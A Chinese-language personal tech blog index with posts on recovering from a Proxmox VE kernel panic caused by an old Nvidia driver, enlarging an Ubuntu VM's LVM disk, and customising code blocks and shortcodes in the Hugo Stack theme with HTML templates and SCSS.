Posts on 筆記Zone

Proxmox VE Kernel Panic

Sat, 10 May 2025 19:53:54 +0800

Kernel panic

最近在更新 Proxmox VE 時遇到無法開機的情況

開機時出現 Kernel panic 無法開機進系統，網頁介面也都失效

Kernel panic - not syncing: VFS: unable to mount root fs on unknown-block(0,0)

其實早在剛跑完apt upgrade更新指令時，就已經有過徵兆。

SSH

dpkg: error processing package proxmox-kernel-6.8 (--configure):
 dependency problems - leaving unconfigured
Setting up proxmox-headers-6.8 (6.8.12-5) ...
Errors were encountered while processing:
 proxmox-kernel-6.8.12-5-pve-signed
 proxmox-kernel-6.8
E: Sub-process /usr/bin/dpkg returned an error code (1)

這時就提醒最新版的 kernel 沒安裝成功，不過當時沒注意到
加上停電重開，遇到時已經是最新版 kernel 故障無法開機的狀態

解決方法

開機時在 Bootloader 選單時可以選擇用舊版的系統開機

出現選單時用鍵盤上下選擇進 Advenced Options for Proxmox Virtual Enviornment
沒有按任何按鍵，倒數幾秒後會自動選擇用最新版的系統開機，然後就又跳 Kernel panic

選擇舊版系統開機之後能正常開機，但丟著不理下次重開機還是會遇到

經過排查元凶確定為 Nvidia 顯卡驅動
之前因為便宜買了一張 nvidia tesla p4 來玩

驅動版本已經是535，太舊導致安裝新版 proxmox-kernel 失敗
用指令刪除顯卡驅動

SSH

`1`	`nvidia-uninstall`

刪除之後重新跑 apt upgrade，這次安裝 proxmox-kernel 順利完成，重開機也沒問題了

這張 p4 也算正式壽終正寢了

參考資料

圖片來源 https://pve.proxmox.com/wiki/Host_Bootloader
資料來源 https://www.facebook.com/groups/pve.tw/posts/974292336072661/

Proxmox VE 擴大 Ubuntu 虛擬機硬碟大小

Wed, 26 Mar 2025 12:58:19 +0800

調整硬碟大小

在 Proxmox VE WEB UI 中擴大 Ubuntu 虛擬機的硬碟大小

硬碟空間只能放大，不能縮小

擴充硬碟分割 (physical drive partition)

Ubuntu 虛擬機開機進到 bash
檢視目前磁碟狀態

bash

`1`	`sudo fdisk -l`

擴充硬碟分割

bash

`1`	`growpart /dev/sda 3`

檢視硬碟分割

bash

`1`	`pvdisplay`

擴充硬碟大小

bash

`1`	`sudo pvresize /dev/sda3`

檢視硬碟分割看是否已改

bash

`1`	`pvdisplay`

擴充邏輯分割 Logical volume

檢視邏輯分割

bash

`1`	`lvdisplay`

擴充邏輯分割

bash

`1`	`sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv`

檢視邏輯分割看是否有擴充

bash

`1`	`lvdisplay`

調整 Filesystem

調整檔案系統大小

bash

`1`	`resize2fs /dev/ubuntu-vg/ubuntu-lv`

檢查是否調整成功

bash

1
2

fdisk -l
df -h

參考來源

[SOLVED] - Resize Ubuntu VM disk | Proxmox Support Forum

Hugo Theme Stack 修改 CodeBlock

Wed, 19 Mar 2025 15:32:15 +0800

Stack 主題自帶的 CodeBlock，就蠻好看的，複製的功能也有，不過就少了顯示檔名(標題)的功能

搜尋過後發現 Hugo 可以單獨改 CodeBlock 的轉譯，後面就紀錄修改的方式

修改步驟

新增渲染檔案

📂 Folder

my-project/
└── layouts/
    └── _default/
        └── _markup/
            └── render-codeblock.html

新增 render-codeblock.html 檔案，貼入下面內容

不更改原有的 CodeBlock，新增顯示語言類型type跟檔名title

</> html 📄 render-codeblock.html

{{- $label := print .Type " code snippet" -}}
<figure class="code-block" role="figure" aria-label="{{- $label | plainify -}}">
  <div class="code-header">
    {{- with .Type }}
    <span class="code-type">{{ . | markdownify }}</span>
    {{- end -}}

    {{- with .Attributes.title }}
    <span  class="code-title">{{ . | markdownify }}</span>
    {{- end -}}
  </div>
  {{- with transform.HighlightCodeBlock . -}}
    {{ .Wrapped }}
  {{- end -}}
</figure>

新增 SCSS

建立assets/partials/highlight資料夾，新增dark.scss, light.scss, title.scss 3個scss檔

📂 Folder

my-project/
└── assets/
    └── partials/
        └── highlight/
            ├── dark.scss
            ├── light.scss
            └── title.scss

dark.scss 跟 light.scss 主要是為了覆蓋原本主題的scss

加入引用自訂的title.scss，其餘就照貼原本 Stack 主題的設定

如果對CodeBlock的顏色不滿意也可以在這邊改

</> scss 📄 dark.scss

/*
*   Style: monokai
*   https://xyproto.github.io/splash/docs/monokai.html
*/

$color: #f8f8f2;
$background-color: #272822;
$error-color: #bb0064;
$keyword-color: #66d9ef;
$text-color: $color;
$name-color: #a6e22e;
$literal-color: #e6db74;

// title colors
$type-color: #4B4376;
$title-color: #432E54;

@import "title.scss";
@import "common.scss";

</> scss 📄 light.scss

/*
*   Style: monokailight
*   https://xyproto.github.io/splash/docs/monokailight.html
*/

$color: #272822;
$background-color: #fafafa;
$error-color: #960050;
$keyword-color: #00a8c8;
$text-color: #111111;
$name-color: #75af00;
$literal-color: #d88200;

// title colors
$type-color: #D0E8C5;
$title-color: #C5D3E8;

@import "title.scss";
@import "common.scss";

</> scss 📄 title.scss

.code-block {
  .code-header {
    display: table;
    padding-top: 5px;
    padding-right: 5px;
  }

  .code-type {
    position: relative;
    background-color: $type-color;
    padding: 5px;
    padding-left: 10px;
    padding-right: 10px;
    border-radius: 0px 15px 15px 0px;
    float: left;
    z-index: 2;
  }

  .code-title {
    position: relative;
    background-color: $title-color;
    padding: 5px;
    padding-right: 10px;
    padding-left: 25px;
    margin-left: -15px;
    border-radius: 0px 15px 15px 0px;
    float: left;
    z-index: 1;
  }
}

這樣就完成了

效果展示

不指定語言類型、檔名

Codeblock 標頭 ```

1
2
3

var a = 0;

console.log(a);

指定語言類型

Codeblock 標頭 ``` javascript

</> javascript

1
2
3

var a = 0;

console.log(a);

指定檔名

Codeblock 標頭 ``` {title=“test.js”}

📄 test.js

1
2
3

var a = 0;

console.log(a);

全都指定

Codeblock 標頭 ``` javascript {title=“test.js”}

</> javascript 📄 test.js

1
2
3

var a = 0;

console.log(a);

terminal 區塊

效果展示

bash

1
2
3

\$ ls

here is some bash output example

</> markdown

``` terminal  {title="bash"}
\$ ls

here is some bash output example
...

新增 HTML 模版

同場加映，我在這邊有利用shortcode 另外做 termainal 風格的區塊
有需要可以至隔壁篇看 Hugo 短代碼

同樣的效果也可以用 hugo 的特性，用 codeblock 加指定語言做到
Hugo 支援指定不同語言，就自動去找對應的渲染模版
下面範例新增 mermaid 跟 python 模版

📂 Folder

layouts/
└── _default/
    └── _markup/
        ├── render-codeblock-mermaid.html
        ├── render-codeblock-python.html
        └── render-codeblock.html

所以我們只要新增 render-codeblock-terminal.html
就可以區分一般程式碼跟終端機的內容

</> html 📄 render-codeblock-terminal.html

{{- $label := print .Type " code snippet" -}}
<div class="terminal" role="figure" aria-label="{{- $label | plainify -}}">
  <div class="terminal-header">
    <div class="terminal-btn">
      <div class="btn-mac mac-close"></div>
      <div class="btn-mac mac-mini"></div>
      <div class="btn-mac mac-full"></div>
    </div>
    {{ if .Attributes.title }}
    <div class="terminal-title">{{.Attributes.title}}</div>
    {{ else }}
    <div class="terminal-title">terminal</div>
    {{ end }}
  </div>

  {{- with transform.HighlightCodeBlock . -}}
    {{ .Wrapped }}
  {{- end -}}
</div>

新增 SCSS

如果已經有加入 terminal shortcode 這邊就不用改了
下面 SCSS 的內容一模一樣

新增 terminal.scss 放在 my-project/assets/scss/partials/highlight/
程式碼主要參考 codepen 上 Sam Willis 跟 Microk 分享的範例

Sam Willis Pure CSS OSX window
Microk Code Window for MAC OS Style

</> scss 📄 terminal.scss

/* Fira Code: https://github.com/tonsky/FiraCode */
@import url('https://fonts.googleapis.com/css2?family=Fira+Code:wght@300..700&display=swap');

$font-size: 1.5rem;
$line-height: 1.54em;

.terminal {
  border: 1px solid #e6e6e6;
  border-radius: 0.7em;
  box-shadow: 0 0 24px rgba(0, 0, 0, 0.1);
  overflow: hidden;

  .terminal-header{
    background-color: $terminal-header;
    color: $terminal-header-font;
    display: grid;
    grid-template-columns: 25% auto 25%;

    .terminal-title {
      -webkit-box-align: center;
      -moz-box-align: center;
      align-items: center;
      display: -moz-box;
      -webkit-box-pack: center;
      -moz-box-pack: center;
      justify-content: center;
      text-align: center;
    }

    .terminal-btn,
    .terminal-cp {
      padding: 0 6px;
    }

    .terminal-btn {
      display: flex;

      .btn-mac {
        width: 15px;
        height: 15px;
        margin: 8px 4px;
        border-radius: 50%;
      }

      .mac-close {
        background-color: #ff5f56;
      }

      .mac-mini {
        background-color: #ffbd2e;
      }

      .mac-full {
        background-color: #27c93f;
      }
    }

    .terminal-cp {
      align-items: center;
    }
  }

  .terminal-block {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
    font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace;
    font-size: $font-size;
    font-weight: 400;
    font-style: normal;
    line-height: $line-height;
    letter-spacing: -0.01em;
    background-color: $terminal-background;
    color: $terminal-foreground;
    text-rendering: optimizeLegibility;
    /* -webkit-font-smoothing: antialiased; */
    font-feature-settings: "liga", "tnum", "ss01", "locl";
    font-variant-ligatures: contextual;
    -webkit-overflow-scrolling: touch;
    -webkit-text-size-adjust: 100%;

    p {
      padding: 10px;
      margin: 0;
    }
  }
}

然後就是修改 my-project/assets/scss/partials/highlight/ 裡的 dark.scss 跟 light.scss 內分別加入顏色變數還有引用

</> scss 📄 dark.scss

// terminal
$terminal-header: #273138;
$terminal-header-font: #ffffff;
$terminal-background: #000000;
$terminal-foreground: #4EEE85;

@import "custom/terminal.scss";

</> scss 📄 light.scss

// terminal
$terminal-header: #f4f4f7;
$terminal-header-font: #000000;
$terminal-background: #ffffff;
$terminal-foreground: #000000;

@import "custom/terminal.scss";

info success warning error 4色提示

效果展示

in info
第二行

in success
第二行

in warning
第二行

in error
第二行

</> markdown

1
2
3

``` info
可以將 info 替換為 success, warning, error
第二行

新增 HTML 模版

同樣在 _markup 資料夾內新增4個模版

📂 Folder

my-project/
└── layouts/
    └── _default/
        └── _markup/
            ├── render-codeblock-info.html
            ├── render-codeblock-success.html
            ├── render-codeblock-warning.html
            └── render-codeblock-error.html

這邊模版其實大同小異，只差在 class 跟 svg 圖檔不同
之所以要這樣建四個，而不是用參數調整，是為了在寫 markdown 時可以少打幾個字

</> html 📄 render-codeblock-info.html

<!-- remove first word is newline -->
{{- $lines := (replaceRE `^\n` "" .Inner) -}}

<div class="simple-notice simple-notice-info">
  <div class="simple-notice-title">
    <svg xmlns="http://www.w3.org/2000/svg" class="simple-notice-icon" viewBox="0 0 512 512" fill="currentColor"><path d="M256 8a248 248 0 100 496 248 248 0 000-496zm0 110a42 42 0 110 84 42 42 0 010-84zm56 254c0 7-5 12-12 12h-88c-7 0-12-5-12-12v-24c0-7 5-12 12-12h12v-64h-12c-7 0-12-5-12-12v-24c0-7 5-12 12-12h64c7 0 12 5 12 12v100h12c7 0 12 5 12 12v24z"/></svg>
  </div>
  <p>{{ $lines | markdownify }}</p>
</div>

</> html 📄 render-codeblock-success.html

<!-- remove first word is newline -->
{{- $lines := (replaceRE `^\n` "" .Inner) -}}

<div class="simple-notice simple-notice-success">
  <div class="simple-notice-title">
    <svg xmlns="http://www.w3.org/2000/svg" class="simple-notice-icon" viewBox="0 0 512 512" fill="currentColor"><path d="M504 256a248 248 0 11-496 0 248 248 0 01496 0zM227 387l184-184c7-6 7-16 0-22l-22-23c-7-6-17-6-23 0L216 308l-70-70c-6-6-16-6-23 0l-22 23c-7 6-7 16 0 22l104 104c6 7 16 7 22 0z"/></svg>
  </div>
  <p>{{ $lines | markdownify }}</p>
</div>

</> html 📄 render-codeblock-warning.html

<!-- remove first word is newline -->
{{- $lines := (replaceRE `^\n` "" .Inner) -}}

<div class="simple-notice simple-notice-warning">
  <div class="simple-notice-title">
    <svg xmlns="http://www.w3.org/2000/svg" class="simple-notice-icon" viewBox="0 0 512 512" fill="currentColor"><path d="M504 256a248 248 0 11-496 0 248 248 0 01496 0zm-248 50a46 46 0 100 92 46 46 0 000-92zm-44-165l8 136c0 6 5 11 12 11h48c7 0 12-5 12-11l8-136c0-7-5-13-12-13h-64c-7 0-12 6-12 13z"/></svg>
  </div>
  <p>{{ $lines | markdownify }}</p>
</div>

</> html 📄 render-codeblock-error.html

<!-- remove first word is newline -->
{{- $lines := (replaceRE `^\n` "" .Inner) -}}

<div class="simple-notice simple-notice-error">
  <div class="simple-notice-title">
    <svg xmlns="http://www.w3.org/2000/svg" class="simple-notice-icon" viewBox="0 0 576 512" fill="currentColor"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zM124 296c-6.6.0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6.0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H124z"/></svg>
  </div>
  <p>{{ $lines | markdownify }}</p>
</div>

新增 SCSS 檔

加完模版之後就是在 my-project/assets/scss/partials/highlight/ 新增 SCSS

</> scss 📄 notice.scss

.simple-notice {
  position:relative;
  padding: 1em 0 1em 2em;
  margin-bottom: 1em;
  transition: all .5s;
  p:last-child {
      margin-bottom: 0;
  }
  .simple-notice-title {
    position: absolute;
    left: 16px;
    margin-top: 16px;
    font-size: 1.2em;
      .simple-notice-icon {
          width: 1em;
          height: 1em;
          margin-left: -0.8em;
      }
  }

  &.simple-notice-error {
      border-top: 2px solid $notice-error-color;
      color: $notice-error-color;
      a {
          color: $notice-error-color;
          text-decoration-color: $notice-error-color;
      }
  }
  &.simple-notice-warning {
      border-top: 2px solid $notice-warning-color;
      color: $notice-warning-color;
      a {
          color: $notice-warning-color;
          text-decoration-color: $notice-warning-color;
      }
  }
  &.simple-notice-info {
      border-top: 2px solid $notice-info-color;
      color: $notice-info-color;
      a {
          color: $notice-info-color;
          text-decoration-color: $notice-info-color;
      }
  }
  &.simple-notice-success {
      border-top: 2px solid $notice-success-color;
      color: $notice-success-color;
      a {
          color: $notice-success-color;
          text-decoration-color: $notice-success-color;
      }
  }
}

然後在 dark.scss 跟 light.scss 檔內，加上對應的顏色變數跟引用 notice.scss

</> scss 📄 dark.scss

// notice
$notice-error-color: hsl(0, 65%, 65%);
$notice-warning-color: hsl(30, 80%, 70%);
$notice-info-color: hsl(200, 65%, 65%);
$notice-success-color: hsl(140, 65%, 65%);

@import "notice.scss";

</> scss 📄 light.scss

// notice
$notice-error-color: hsl(0, 100%, 35%);
$notice-warning-color: hsl(40, 80%, 45%);
$notice-info-color: hsl(210, 100%, 25%);
$notice-success-color: hsl(150, 100%, 25%);

@import "notice.scss";

參考

資料

官方文件Code block render hooks

Custom code blocks in Hugo

Labeling Code Blocks in Hugo

Photo by Rahul Mishra on Unsplash

Hugo 短代碼 shortcode

Wed, 19 Mar 2025 00:33:37 +0800

shortcode 是什麼

有時候我們有些文章排版的想法，在原始的 markdown 中沒有
或者跟內文很難區分，要每次都自己手磋 html 出來又嫌麻煩

Hugo 內建的短代碼 shortcode 是一種將模板整合為小型、可重複使用的片段的方法

雖然 shortcode 在其他地方無法使用，想匯出貼文轉到其他平台會需要另外調整
不過想加入 Markdown 本身不支援的排版，有這點轉換成本還可以接受

語法格式

加 shortcode 進我們的 Hugo 專案其實也不難，大概就3個步驟

新增模版 html
新增排版的 css
在貼文或頁面 markdown 加入使用的語法

shortcode 使用語法

這邊先講在 markdown 裡面使用的語法

</> markdown

<!-- 使用語法 -->
{{< myshortcode >}}

<!-- 或是 -->
{{% myshortcode %}}

<!-- 需要包住內容時 -->
{{< myshortcode >}}
  * a
  * b
{{< /myshortcode >}}

<!-- 這是加上註解，跳過轉譯 -->
{{</* myshortcode >}}
  * a
  * b
{{< /myshortcode */>}}

像上面的引用範例，Hugo 會去找 layouts/shortcodes/myshortcode.html 這個檔案來替換內容。
如果想要用資料夾整理也可以。例如 {{<myfolder/myshortcode>}} 就會去找 layouts/shortcodes/myfolder/myshortcode.html。

html模版

這邊我們的模版 html 檔，可以像平常寫 html 一樣、也可以可以傳入參數、抓專案裡面的檔案資源。

傳入參數

我們可以定義在 myshortcode ，用類似 HTML 屬性的方式傳入參數。
如果沒有定屬性名稱，也可以用位置抓值。

</> markdown

`1`	`{{< myshortcode "value1" class="my-component" myattr="value2" >}}`

在 html 檔案內就可以用 Get method 抓到對應的值

</> html 📄 myshortcode.html

<div class={{ .Get "class" }}>
  <p>{{ .Get 0 }}</p>
  <p>{{ .Get "myattr" }}</p>
</div>

Hugo 轉譯完之後會變為

</> html

<div class="my-component">
  <p>value1</p>
  <p>value2</p>
</div>

傳入包住的內容 Inner

傳入的內容可以使用 $Inner 抓取，看使用情形可以作額外處理。

例如作為一般文字可以包在  內再輸出到HTML
{{ printf ``%s`` $Inner | safeHTML }}

作為 markdown 做轉譯
{{ .Inner | markdownify }}

抓靜態資源

需要抓靜態檔案的資源，可以使用 resources.GetMatch

例如下面的範例就找 my-project/assets/icons/world.svg
再用 | safeHTML 把SVG檔的內容貼進 HTML

</> html

<div class="logo">
    {{- $iconFile := resources.GetMatch "icons/world.svg" -}}
    {{ $iconFile.Content | safeHTML }}
</div>

抓 data 檔案內的資料

Hugo 可以使用$.Site.Data 去抓 my-project/data/*.toml 內的內容

例如我將內容放在 my-project/data/SVG.html 內

</> toml 📄 SVG.toml

repository-icon = '<svg xmlns="http://www.w3.org/2000/svg" class="icon" viewBox="0 0 16 16"><path fill-rule="evenodd" clip-rule="evenodd" d="M2 2.5C2 1.83696 2.26339 1.20107 2.73223 0.732233C3.20108 0.263392 3.83696 0 4.5 0L13.25 0C13.4489 0 13.6397 0.0790176 13.7803 0.21967C13.921 0.360322 14 0.551088 14 0.75V13.25C14 13.4489 13.921 13.6397 13.7803 13.7803C13.6397 13.921 13.4489 14 13.25 14H10.75C10.5511 14 10.3603 13.921 10.2197 13.7803C10.079 13.6397 10 13.4489 10 13.25C10 13.0511 10.079 12.8603 10.2197 12.7197C10.3603 12.579 10.5511 12.5 10.75 12.5H12.5V10.5H4.5C4.30308 10.5 4.11056 10.5582 3.94657 10.6672C3.78257 10.7762 3.65442 10.9312 3.57816 11.1128C3.50191 11.2943 3.48096 11.4943 3.51793 11.6878C3.5549 11.8812 3.64816 12.0594 3.786 12.2C3.92524 12.3422 4.0023 12.5338 4.00024 12.7328C3.99818 12.9318 3.91716 13.1218 3.775 13.261C3.63285 13.4002 3.4412 13.4773 3.24222 13.4752C3.04325 13.4732 2.85324 13.3922 2.714 13.25C2.25571 12.7829 1.99929 12.1544 2 11.5V2.5ZM12.5 1.5V9H4.5C4.144 9 3.806 9.074 3.5 9.208V2.5C3.5 2.23478 3.60536 1.98043 3.79289 1.79289C3.98043 1.60536 4.23478 1.5 4.5 1.5H12.5ZM5 12.25V15.5C5 15.5464 5.01293 15.5919 5.03734 15.6314C5.06175 15.6709 5.09667 15.7028 5.1382 15.7236C5.17972 15.7444 5.22621 15.7532 5.27245 15.749C5.31869 15.7448 5.36286 15.7279 5.4 15.7L6.85 14.613C6.89328 14.5805 6.94591 14.563 7 14.563C7.05409 14.563 7.10673 14.5805 7.15 14.613L8.6 15.7C8.63714 15.7279 8.68131 15.7448 8.72755 15.749C8.77379 15.7532 8.82028 15.7444 8.8618 15.7236C8.90333 15.7028 8.93826 15.6709 8.96266 15.6314C8.98707 15.5919 9 15.5464 9 15.5V12.25C9 12.1837 8.97366 12.1201 8.92678 12.0732C8.87989 12.0263 8.81631 12 8.75 12H5.25C5.1837 12 5.12011 12.0263 5.07322 12.0732C5.02634 12.1201 5 12.1837 5 12.25Z"/></svg>'

在 html 模版中可以使用 {{ index $.Site.Data.SVG "repository-icon" }} 來抓取內容。

變數、函數

看過上面的用法，Hugo對於包在 {{ }} 中間的用法，就像一般程式在傳參數或調用函式。所以不只有單純顯示，裡面也可以作簡單的邏輯判斷或其他操作。

例如我想判斷一段 shortcode 的 Inner 內容是不是  開頭，如果不是就強制包進去，我就可以用下面的程式碼做到。先將 markdown 轉譯完的內容放進 content 變數，再做條件判斷。

</> html

<myshortcode>
    {{ $content := .Inner | markdownify }}

    {{ if not (strings.HasPrefix $content "<p>") }}
        {{ printf `<p>%s</p>` $content | safeHTML }}
    {{ else }}
        {{ $content }}
    {{ end }}
</myshortcode>

另外比較常用的 method 就是替換。例如要將 class 從 a 換成 b。
{{ $result := replace $content "a" "b" }}

更多可用的 Method 請參考官網的 Methods

CSS美化

固定主題

我們自訂的css設定可以放在 my-project/assets/scss/custom.scss。
雖然 shortcode 的 css 不會經常改，如果 shortcode 的數量一多，custom.scss 裡面變成一整團，要改也很麻煩。
所以我會把 shortcode 的 css 單讀拆分一個檔案出來，例如在 scss 資料夾內新增 myshortcode.scss，讓 custom.scss 去引用。

</> scss 📄 custom.scss

`1`	`@import "myshortcode.scss";`

如果想用資料夾整理也可以，例如在 scss 資料夾內新增 myshortcode 資料夾 my-project/assets/scss/myshortcode/main.scss 。

</> scss 📄 custom.scss

`1`	`@import "myshortcode/main.scss";`

白天、夜晚模式

如果需要讓 shortcode 跟隨白天夜晚模式變化，我們需要用拆分檔案引用方式，不過就不是在 custom.scss 內引用了。

新增 highlight 資料夾 my-project/assets/scss/partials/highlight/
並新增 dark.scss 跟 light.scss 取代原本主題自帶的 scss
各自貼上下面的內容，這些程式碼都是照搬主題原始的 scss
最後就是定好顏色變數，不要跟已有的重複就行了 (下面範例夜晚會出現綠色，白天紅色)

</> scss 📄 dark.scss

/*
*   Style: monokai
*   https://xyproto.github.io/splash/docs/monokai.html
*/

$color: #f8f8f2;
$background-color: #272822;
$error-color: #bb0064;
$keyword-color: #66d9ef;
$text-color: $color;
$name-color: #a6e22e;
$literal-color: #e6db74;

// title colors
$type-color: #4B4376;
$title-color: #432E54;

@import "common.scss";

// 在這邊引用
$myshortcode-color:rgb(0, 255, 0);

@import "myshortcode.scss";

</> scss 📄 light.scss

/*
*   Style: monokailight
*   https://xyproto.github.io/splash/docs/monokailight.html
*/

$color: #272822;
$background-color: #fafafa;
$error-color: #960050;
$keyword-color: #00a8c8;
$text-color: #111111;
$name-color: #75af00;
$literal-color: #d88200;

// title colors
$type-color: #D0E8C5;
$title-color: #C5D3E8;

@import "common.scss";

// 在這邊引用
$myshortcode-color:rgb(255, 0, 0);

@import "myshortcode.scss";

這個方式也不限於只有 shortcode 的 scss 能用，像 page 或是其他地方需要修改也可以用這種方式引用。

後面就放意本站有做的 shortcode

嵌入 notion 風格書籤

hugo

The world’s fastest framework for building websites.

下載 ICON

到 tabler icon 下載 world svg 檔案，放到 icons 資料夾
my-project/assets/icons/world.svg

tabler icon

Free and open source icons designed to make your website or app attractive, visually consistent and simply beautiful.

新增 bookmark.html

到 layouts 資料夾內新增 shortcodes 資料夾，新增 bookmark.html
my-project/layouts/shortcodes/bookmark.html

</> html 📄 bookmark.html

<a href={{ .Get "link" }} target="_blank">
  <div class="bookmark">
    <div class="logo">
        {{- $iconFile := resources.GetMatch "icons/world.svg" -}}
        {{ replace $iconFile.Content "icon" "icon bookmark-icon" | safeHTML }}
        <span class="name">{{ .Get "name" }}</span>
    </div>
    <div class="description">{{ .Get "description" }}</div>
  </div>
</a>

新增 scss

在資料夾 my-project/assets/scss/shortcodes/ 新增 bookmark.scss

</> scss 📄 bookmark.scss

.bookmark {
  border: 1.2px solid #d0d7de;
  border-radius: 8px;
  font-family: -apple-system,BlinkMacSystemFont,segoe ui,noto sans,Helvetica,Arial,sans-serif,apple color emoji,segoe ui emoji;
  padding: 1em;
  margin-bottom: 20px;
  .bookmark-icon {
      width: 1.2em;
      height: 1.2em;
      margin-right: 0.5em;
      margin-bottom: -4px;
  }
  .name {
      font-weight: bold;
      color: #0969da;
      text-decoration: none;
  }
  .description {
      margin-top: 0.5em;
      margin-bottom: 1em;
      font-size: 90%;
      color: #656d76;
      transition: all .5s;
      font-weight: 400;
  }
}

my-project/assets/scss/custom.scss 裡加上引用 bookmark.scss

</> scss 📄 custom.scss

`1`	`@import "shortcodes/bookmark.scss";`

使用方式

在貼文的內容加上下面代碼，就可以產生書籤的效果

</> markdown

`1`	`{{<bookmark name="hugo" link="https://github.com/gohugoio/hugo" description="The world’s fastest framework for building websites.">}}`

Unsplash 引用標籤

在這邊我只想要把引用 unsplash 的文字稍微做區隔

下載 ICON

到 tabler icon https://tabler.io/icons 下載 photo svg 檔案，放到 my-project/assets/icons/ 資料夾

新增 unsplash.html

到 my-project/layouts/shortcodes/ 資料夾(如果沒有就自己建)，新增 unsplash.html

</> html 📄 unsplash.html

{{- $raw := (markdownify .Inner | chomp) -}}
{{- $block := findRE "(?is)^<(?:address|article|aside|blockquote|canvas|dd|div|dl|dt|fieldset|figcaption|figure|footer|form|h(?:1|2|3|4|5|6)|header|hgroup|hr|li|main|nav|noscript|ol|output|p|pre|section|table|tfoot|ul|video)\\b" $raw 1 -}}
{{- $icon := resources.GetMatch "icons/photo.svg" -}}
<div class="unsplash unsplash-info" {{ if len .Params | eq 2 }} id="{{ .Get 1 }}" {{ end }}>
    <div class="unsplash-title">{{ replace $icon.Content "icon" "icon unsplash-icon" | safeHTML}}</div>
    {{- if or $block (not $raw) }}{{ $raw }}{{ else }}<p>{{ $raw }}</p>{{ end -}}
</div>

新增 scss

在 shortcodes 資料夾下建立 unsplash.scss

📂 Folder

my-project/
└── assets/
    └── scss/
        ├── custom.scss
        └── shortcodes/
            └── unsplash.scss

</> scss 📄 unsplash.scss

.unsplash {
  position: relative;
  padding: 1em 1em 2em 2.5em;
  margin-bottom: 1em;
  border-radius: 4px;

  p:last-child {
    color: #919eac;
    margin-bottom: 0;
  }

  a {
    color: #989bba;
  }

  p{
    margin-left: 20px;
  }

  .unsplash-title {
    position: absolute;
    left: 16px;
    margin-top: 17px;
    font-size: 1.2em;
    .unsplash-icon {
      color: #919eac;
      width: 1.5em;
      height: 1.5em;
    }
  }

  &.unsplash-info {
    background: #F8FAFC;
    border-left: 5px solid #D9EAFD;
  }
}

custom.scss 裡加上引用

</> scss 📄 custom.scss

`1`	`@import "shortcodes/bookmark.scss";`

使用方式

在貼文的內容加上下面代碼，就可以出現引用的效果

</> markdown

1
2
3

{{ <unsplash> }}
Photo by <a href="https://unsplash.com/@themelessly?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash">Sho W.</a> on <a href="https://unsplash.com/photos/a-bunch-of-different-shapes-and-sizes-on-a-wall-3tNqoO_ReHQ?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash">Unsplash</a>
{{ </unsplash> }}

terminal 區塊

有時會遇到分享 terminal 指令或執行結果，會想要跟 codeblock 的稍微作區隔
所以就另外做 shortcode 來產生終端機的區塊

同樣的效果 codeblock 我也做了一個版本
Hugo Theme Stack 修改 CodeBlock

terminal

$ ls

here is some bash output example

新增 terminal.html

如果你想用 codeblock 表現 terminal 效果，可以參考 Hugo Theme Stack 修改 CodeBlock

在 my-project/layouts/shortcodes/ 新增 terminal.html

這邊利用包住的內容 Inner，當作終端內顯示的內容
由於我寫閉包 shortcode 的習慣，Inner 變數第一行會是一個換行符號，用 replaceRE 可以完美去除
另外就是替換換行符號 \n 跟空白變成 html 格式
空白不替換其實也可以，不過相連的空白就只會顯示一格

</> html 📄 terminal.html

<!-- remove first word is newline -->
{{- $lines := (replaceRE `^\n` "" .Inner) -}}

<div class="terminal">
  <div class="terminal-header">
    <div class="terminal-btn">
      <div class="btn-mac mac-close"></div>
      <div class="btn-mac mac-mini"></div>
      <div class="btn-mac mac-full"></div>
    </div>

    {{ if and (ne .Params nil) (isset .Params "title") }}
    <div class="terminal-title">{{.Get "title"}}</div>
    {{ else }}
    <div class="terminal-title">terminal</div>
    {{ end }}
  </div>
  <div class="terminal-block">
    <p>{{ $lines | markdownify}}</p>
  </div>
</div>

新增 scss

我想要終端機有亮暗的模式，所以新增的 terminal.scss 改放在 my-project/assets/scss/partials/highlight/
如果不需要可以自行修改至 my-project/assets/scss/ (記得調整顏色變數)

在 my-project/assets/scss/partials/highlight/ 新增 terminal.scss
程式碼主要參考 codepen 上 Sam Willis 跟 Microk 分享的範例

Sam Willis Pure CSS OSX window
Microk Code Window for MAC OS Style

</> scss 📄 terminal.scss

/* Fira Code: https://github.com/tonsky/FiraCode */
@import url('https://fonts.googleapis.com/css2?family=Fira+Code:wght@300..700&display=swap');

$font-size: 1.5rem;
$line-height: 1.54em;

.terminal {
  border: 1px solid #e6e6e6;
  border-radius: 0.7em;
  box-shadow: 0 0 24px rgba(0, 0, 0, 0.1);
  overflow: hidden;

  .terminal-header{
    background-color: $terminal-header;
    color: $terminal-header-font;
    display: grid;
    grid-template-columns: 25% auto 25%;

    .terminal-title {
      -webkit-box-align: center;
      -moz-box-align: center;
      align-items: center;
      display: -moz-box;
      -webkit-box-pack: center;
      -moz-box-pack: center;
      justify-content: center;
      text-align: center;
    }

    .terminal-btn,
    .terminal-cp {
      padding: 0 6px;
    }

    .terminal-btn {
      display: flex;

      .btn-mac {
        width: 15px;
        height: 15px;
        margin: 8px 4px;
        border-radius: 50%;
      }

      .mac-close {
        background-color: #ff5f56;
      }

      .mac-mini {
        background-color: #ffbd2e;
      }

      .mac-full {
        background-color: #27c93f;
      }
    }

    .terminal-cp {
      align-items: center;
    }
  }

  .terminal-block {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
    font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace;
    font-size: $font-size;
    font-weight: 400;
    font-style: normal;
    line-height: $line-height;
    letter-spacing: -0.01em;
    background-color: $terminal-background;
    color: $terminal-foreground;
    text-rendering: optimizeLegibility;
    /* -webkit-font-smoothing: antialiased; */
    font-feature-settings: "liga", "tnum", "ss01", "locl";
    font-variant-ligatures: contextual;
    -webkit-overflow-scrolling: touch;
    -webkit-text-size-adjust: 100%;

    p {
      padding: 10px;
      margin: 0;
    }
  }
}

然後就是修改 my-project/assets/scss/partials/highlight/ 裡的 dark.scss 跟 light.scss 內分別加入顏色變數還有引用

</> scss 📄 dark.scss

// terminal
$terminal-header: #273138;
$terminal-header-font: #ffffff;
$terminal-background: #000000;
